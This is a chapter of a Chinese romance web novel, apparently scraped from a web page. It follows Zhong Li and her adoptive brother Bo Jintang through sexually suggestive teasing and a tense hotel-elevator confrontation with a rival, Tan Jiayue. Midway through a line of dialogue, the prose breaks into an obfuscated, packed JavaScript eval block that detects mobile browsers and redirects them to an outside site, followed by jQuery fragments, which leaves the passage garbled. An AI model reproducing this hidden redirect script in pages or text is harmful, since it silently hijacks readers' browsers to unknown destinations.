薄津棠的嗓音也降至冰点:“在你眼里,她和我求情,我就会原谅她甚至还会和她上床,是吗?” 为什么以往都避他不及,能不睡在一张床就不睡在一张床的人,会出现在他的床上? 薄津棠把她推出怀里,他站在床边,居高临下的睥睨视角。 眼睫低垂,声音很冷淡,“你勾勾手指我就和你上床,所以你认为,别人勾勾手指,我也会和她上床,是吗?” 钟漓气息屏住。 门铃声打破这份冻结的气氛。 大半夜的,也不知道谁毫无眼力见地惹人清净。 薄津棠一言不发地转身,留钟漓一人待在主卧,主卧与房门距离稍远,庆幸的是薄津棠没关门,以至于钟漓听见了来人的声音。 如丝绸般温柔顺滑的女声,极易抚慰人心,“薄津棠,有关钟漓的事,方便聊聊吗?” 是谭笳月。 一想到所有的事情都是因谭笳月而起。 钟漓腾地起身,打算嚣张地和谭笳月吵一架,走到门边的时候,脑海里闪过一个诡谲的想法。 对于面前这位不速之客,薄津棠毫不掩饰眼里的不耐烦,薄唇扯起,赶人的话还没说出口。 他的身后。 隔着稍远的距离。 响起一道又嗲又柔又媚的娇滴滴女声, ——“棠棠宝贝,我洗好澡了,还穿了你最爱的睡裙,黑色蕾丝半透明的哦~” 14. 14 薄津棠的喜好并不明确,就连与他朝夕相处近十年的钟漓都捉摸不透。 这句话是心血来潮,也是故意。 因为她看见谭笳月披着件宽松的风衣,内里是紧身收腰v领白色连衣裙,清纯中透着性感,漂亮的绮糜。 ——为方便确认来人,总统套房里有一面显示屏,清晰地放映着大门外的一切。 钟漓目光灼灼,盯着显示屏里的动静。 果不其然,听到她这句话后,谭笳月的表情很难形容,牵强着笑,像是被人打了一巴掌,却还要关心地问对方手疼不疼。 反观薄津棠。 ……完全没有任何变化。 面对送上门来的美人,冷眼旁观。 要不是自己和他上过那么多次的床,钟漓真的会觉得他是性冷淡。 空气恰到好处地安静了片刻。 然后钟漓就看到薄津棠嘴角诡异地弯起,眉目含情,笑得满脸风流,“我有急事要处理,改天再与谭小姐聊。” 什么急事,需要大半夜处理? 明眼人一点即通。 谭笳月的脸色更难看了,“抱歉,打扰了。” 大门合上。 薄津棠转身,距离他七八米远的地方,主卧门也被合上。 “咯噔——”一声。 反锁了。 这是钟漓惯用的手段。 不同于在家里,在家里,薄津棠能翻找出无数的备用钥匙。 他尤为喜欢玩猫抓老鼠的游戏,享受猎人抓到猎物的征服感,更享受她睁大双眼,一副不可思议的模样,在他怀里瑟瑟发抖,哭着求饶的可怜模样。 薄津棠没有钥匙,他敲门:“漓漓,开门。” 隔着厚重的门板,钟漓的声音显得闷:“你睡别的屋。” “我睡别的屋,不浪费了你身上的性感黑色蕾丝情趣睡裙了吗?”薄津棠挑眉。 “什么情趣睡裙?”钟漓声量抬高,“你少无中生有。” “我最爱的睡裙,还是黑色蕾丝半透明的,这不是情趣睡裙是什么?” “就是,正常睡裙。”钟漓理不直气不壮,颇为心虚地说明。 “我还没见过这种睡裙,乖,漓漓,开门给哥哥看看。” 哪有哥哥会求着妹妹穿情趣睡裙给他看的? 这句话过分禁忌,带着厚重的道德感,拉扯着理智沉沦。 薄津棠这人向来百无禁忌,好在钟漓也不是什么善茬,要不然二人也不会滚到一张床上。 但钟漓太喜欢和他对着干了。 或许她的叛逆期只存在于薄津棠面前。 钟漓轻飘飘道:“哥哥和妹妹还是要保持点儿距离比较好,哥哥,你说呢?” 薄津棠轻佻道:“哥哥是要进到妹妹里面去的,妹妹,你觉得呢?” “……” 无耻! 不要脸! 钟漓脸颊发烫,强撑着镇定:“我们好像还在吵架。” “吵完了。如果你认为我们还在吵的话,我现在给你道歉,不吵了。” “你说吵就吵,说不吵就不吵,什么都由你决定吗?” “你开门,”薄津棠很好说话,“我跪下来给你道歉。” 钟漓毫不怀疑他话的真实度。 他会跪下来。 也会道歉。 只是会用薄津棠特有的方式,跪下来,边舔她边道歉:“都是哥哥的错,哥哥这样做,对不起,漓漓,哥哥这样做会让你舒服点儿吗?” 会。 也不会。 痛苦和欢愉交织,她双腿止不住地战栗。 钟漓摇头,像是想借此将脑海里不该有的黄色思想给剔除,她一意孤行到底:“不要,我大老远过来,不是为了和你睡觉的。” 薄津棠拿她没辙。 最终,钟漓如愿地独占总统套房的主卧。 白天睡了太久,这会儿没什么困意,钟漓强迫了自己几次睡觉,结果越睡越清醒。 索性从床上坐起来,她拿过手机,在网上搜自己和谭笳月的内容。如薄津棠所说,他处理得干净利落,连蛛丝马迹都没有。 只是这种销声匿迹般的解决方式,很快引起了网友们的讨论。 讨论来讨论去,连豪门出身的谭笳月都不敢惹她分毫,可以得出,肇事者背景显赫,是位娇生惯养、脾气暴躁的千金大小姐。 姜绵也刷到了网友们的热帖,截图发给钟漓。 “说你是娇生惯养我承认,但是脾气暴躁,我就没见过脾气比你好的人了!” “姓薄的在这方面还是蛮靠谱的,也没枉费你喊了他这么多年的哥。” 钟漓和她插科打诨地聊了几句,渐渐地困意来袭,她放下手机睡了过去。 醒来的时候,房间门依然紧锁着。钟漓竖起耳朵听了会儿,没听到外面有任何声响,她看了眼时间,上午十点多。 她洗漱好,出了卧室。 套房里除了她以外再没别人,钟漓在餐桌上找到一张字条。字条上压着张无限额的黑卡。 一行白底黑字行云流畅:【这几天很忙,你自己先逛着,等我忙完了再陪你。】 薄津棠的字很好认,钟漓的字迹与他的有七分像。 钟漓的外公是书法大师,当代启功体代表人物,讲究用笔细腻,行笔中正流美,笔随意动。钟漓打小跟在他身边生活,耳濡目染下,写的一手好字。 初到薄家的时候,薄津棠在询问过她的意见后,给她请了一堆老师,问及是否需要请书法老师的时候,钟漓迟疑了两秒,说:“我的字写的不好看。” 她撒谎了。 那是她对薄津棠撒的第一个谎。 薄津棠盯着她的目光近乎研判似的打量,唇角点了抹漫不经心的笑,“喜欢什么字体?” 钟漓惶惶难安,她掐了下自己的手心,大着胆子,说:“哥哥,我喜欢你写的字。” 薄津棠若有所思的目光扫了过来。 钟漓藏着慌乱,强撑着镇定。 接着,他的声音传来:“行,哥哥教你。” 那时,钟漓的贪心就已初见雏形。 / 如薄津棠所言,他这几天很忙。 钟漓没有辜负他的期待,到处逛,只是他给她的卡,她没有动过。 按姜绵的话来说,钟漓看着就不像是豪门出身的人,一身清正风骨,气质清清冷冷的,像是书香世家养出来大小姐。对金钱名利都持漠然态度,不挥霍不攀比,物欲几乎为零。 ——“钱放在你手里,还不如白纸,简直是浪费!” 姜绵如是道。 钟漓逛的地方也不是商场,而是藏在街区里的各类咖啡馆。 独自一人接连逛了几天,姜绵和姜绍白便搭乘薄津棠的私人飞机来到墨尔本了。 钟漓没去机场接机,而是在酒店等他俩过来。 收到姜绵的消息后,钟漓到酒店大门接她,给她办理入住手续。 钟漓左右张望,“绍白哥呢?” 姜绵说:“我俩下机后就分道扬镳了,他去找姓薄的了。” 自钟漓和姜绵认识起,钟漓就没听到过姜绵喊薄津棠一声“哥”过。薄津棠是权利的中心,是许多人妄图攀附的对象,大多数人提起他的时候,联想到他阴鸷狠戾的手段,只敢隐晦地提一句“姓薄的”。 钟漓以前对薄津棠是有温润如玉大哥哥滤镜的,所以并不知道姜绵为什么见到薄津棠时,一副瑟瑟发抖的害怕模样。 钟漓有问过她。 姜绵给她的回答是:“拜托,我当然怕他,有的人爱明着下狠手,有的人喜欢背地里使阴招,姓薄的就不一样了,明里暗里都会做。这种危险人物,我见到他不绕道都已经算胆子大了!” 七天假期,姜绵带了两个26寸的行李箱。 酒店的工作人员帮姜绵提行李箱,姜绵亲密地挽着钟漓的胳膊往里走,边走边絮絮叨叨地说着她最近相亲发生的趣事儿。 冷不防话锋一转:“好晦气。” “……”钟漓稍怔,顺着她的视线望过去,酒店大堂外不知何时又停了辆商务车,谭笳月从车里下来。 彼此的脸色都不好看,分外嫌弃。 姜绵拉着钟漓快步进酒店办入住手续,她没有背后说人闲话应该要降低音量的自觉,“这么多酒店,偏偏和她住同一间,真是倒霉。” 好在谭笳月已经进了电梯间,听不到姜绵的话。 姜绵问钟漓:“你有问过她吗,视频是谁爆出去的?” “没有。”钟漓说,“我既没她的联系方式,前几天也没碰到过她,没机会问。” “姓薄的有问过她吗?虽然答案显而易见,但是当面质问,问的她下不来台,这种滋味很爽啊。” 钟漓想说,薄津棠不想问她,反倒是谭笳月上赶着想和薄津棠聊聊。 大半夜穿着性感贴身的连衣裙,裙子短得要命,钟漓怀疑走路都会走光。 钟漓表现得很为难:“毕竟是我先开车撞她的,下不来台的可能是我。” “那又怎么样?”姜绵说,“姓薄的嘴,黑的都能说成白的,他那人最护短了,说不准能说成是她开车撞你的。” 钟漓哭笑不得。 入住手续办得很快,钟漓接过房卡,带姜绵去房间休息。 休息完,姜绵说要去附近的商场逛一圈,于是二人下楼,电梯门移开,里面站了个身材高挑,旗袍衬得她腰肢纤细,前凸后翘的女人。 谭笳月。 说是孽缘也不为过。 谭笳月独自一人待在电梯间,看着手里的手机,眼神轻撩,顿了顿,也是一脸惊讶。 二人走了进去,电梯门合上。 彼此都是熟人,在密闭的空间里,再嫌弃也得走个体面的过场。毕竟都没撕破过脸。 谭笳月道:“好巧,你们来这儿度假吗?” 姜绵眼珠子滴溜一转,坏心眼故意旧事重提:“不是的,漓漓受了委屈,来找她哥诉苦鸣不平。” “新闻的事吗?”谭笳月稍带歉意地说,“实在抱歉啊钟漓,我也不知道为什么,那天你撞我车的画面会被人拍下来。” 她装一无所知的天真,钟漓也配合着演宽宏大量,“没事,反正我哥已经把事情解决了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660748|188422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 谭笳月死死地盯着钟漓的背,语气有点儿微妙:“薄津棠对你是真上心。” 姜绵随口接:“对啊,圈里人谁不知道,薄津棠最疼漓漓了。” 空气诡异地静了片刻。 钟漓靠门站着,谭笳月站在她身后,透过金属质地的电梯门,钟漓依稀能看见谭笳月脸上的表情,掺杂了点儿同情,她正疑惑这抹同情从何而来,谭笳月出声:“只可惜妹妹终究只是妹妹,薄津棠以前最疼妹妹没错,以后可说不准。” 姜绵:“你什么意思?” “女朋友总归比妹妹重要。”谭笳月面容惊讶,伸手遮住半张脸,又一幅说错话的模样,“薄津棠该不会没告诉你们,他谈恋爱的事儿吧?” “姓薄的谈恋爱了?”姜绵问钟漓,“你要有嫂子了?” 钟漓一愣,那一瞬间的神情像是失去了全世界,茫然又怅然。 谭笳月意味深长道:“之前一直传,薄津棠喜欢性格软的,长得乖的,没想到,他喜欢的原来是性感类型的。漓漓,你作为他亲妹妹,知道这回事儿吗?” “不知道。”钟漓垂眼,敛去眼底的幽冷锋芒,一秒的时间,声音里隐约沾染哭腔,像是隐忍着委屈,却又故作坚强,“哥哥和我说过的,不管他和谁在一起,在他眼里,我都是最重要的。” 谭笳月冷哼一声,“亲兄妹都没法保证,你俩又没有血缘关系,凭什么你觉得薄津棠会宠你一辈子?” 随着她冷嘲热讽的声音,叮的一声,电梯门缓缓打开。 门外。 站着两个男人。 高而挺拔,白衬衫,黑西裤,西装外套不知所踪。宽肩窄腰,颀长双腿被包裹在黑色西装裤里,冷锐气场扑面而来。 薄津棠就这样毫无征兆地出现在她们眼前,浅而薄的眼皮漫不经心地掀起。 “凭什么?”他似是觉得有趣,反问了一遍,随即自问自答般,“就凭我乐意。” 薄津棠眼神里不含温度,四散而出的注视里,给人异常强烈的压迫感。 谭笳月没有想到会这么正巧,被薄津棠听到她的这番话。 到底是圈内出名的世家大小姐,被人当场打脸的情绪,硬生生地咬碎了往肚子里咽,面上还是端着进退有度的笑,“薄津棠,没想到你这么疼钟漓,不知道的还以为她是你亲妹。” 姜绵最喜欢做的事就是煽风点火了,贱兮兮地原话奉还:“亲兄妹都没这么疼呢。” “姜绍白,你说对吧?”她抬了下眉,嘲讽的话语一箭双雕。 “有的妹妹值得人疼,有的妹妹就算在我面前撒泼打滚,我也只会嫌弃地把她一脚踹开。”姜绍白和姜绵相爱相杀惯了,嘴下不留情地回击着。 姜绵一哽。 因长久无人经过,电梯门缓缓合上。 薄津棠长腿一伸,电梯门由合起变为向两侧延展开,他微颔首。 “不出来?” 问的是钟漓,钟漓边走出来,边问:“你怎么突然回来了?” 一旁的姜绍白倒显得不好意思了:“我刚不小心把咖啡倒他身上了,他这人你是知道的,衣服有一丁点儿脏都没法儿穿。这不,回来换衣服来了。” 薄津棠的洁癖不仅是眼里容不得一粒沙子,严重到,一件衣服只穿一次的地步。 薄津棠进了电梯间,他与钟漓相处时,一两句话就在神不知鬼不觉间给她设下圈套,对待旁人,他没有如此的耐心,丝毫不给人面子,压迫感密不透风地袭来。 “我要是不回来换衣服,就错过了这么一出好戏。” “……” 谭笳月脸上浮现几分窘迫,很快又扬起笑,笑意苦涩,“薄津棠,你何必这么咄咄逼人呢?我们好歹曾经有过婚约,你就不能看在——” “——既然谭小姐对婚约一事耿耿于怀,”薄津棠打断道,“我会立刻联系我家老爷子。” 众人俱是一惊,不知薄津棠葫芦里卖什么药。 姜绍白的手死死地按着电梯的开门按钮,一副看好戏的表情。 对于薄津棠的话,谭笳月感到意外:“你改变想法了?” “老爷子许下的婚约,你和老爷子结婚去吧。”薄津棠随心所欲惯了,大逆不道的发言,“待会儿我会和老爷子通个电话,务必将您谭大小姐的话一字不落地传达给老爷子。” 话到这个地步,谭笳月垂在身侧的手都在发抖,又气又恼,“薄津棠,你不至于这么羞辱我吧?” 薄津棠:“你也知道这是羞辱。” 谭笳月察觉到了不对劲:“羞辱我,很有意思吗?” “羞辱钟漓,有意思?”薄津棠低头理着袖扣,眉目寡淡,“把血缘关系看那么重,下次谭少渠惹事,你替他下跪道歉如何?” 饶是演技再好的人,被薄津棠高高在上的轻视,也无法维持情绪。 谭笳月的脸色青一阵红一阵。 薄津棠瞥了姜绍白一眼,姜绍白收回按在电梯上的手。 “亲妹假妹又如何?整个北城都知道,钟漓是我的人。”他眼里似风雨如晦,口吻平淡,“上次撞你的车,你猜下次,我会做什么?”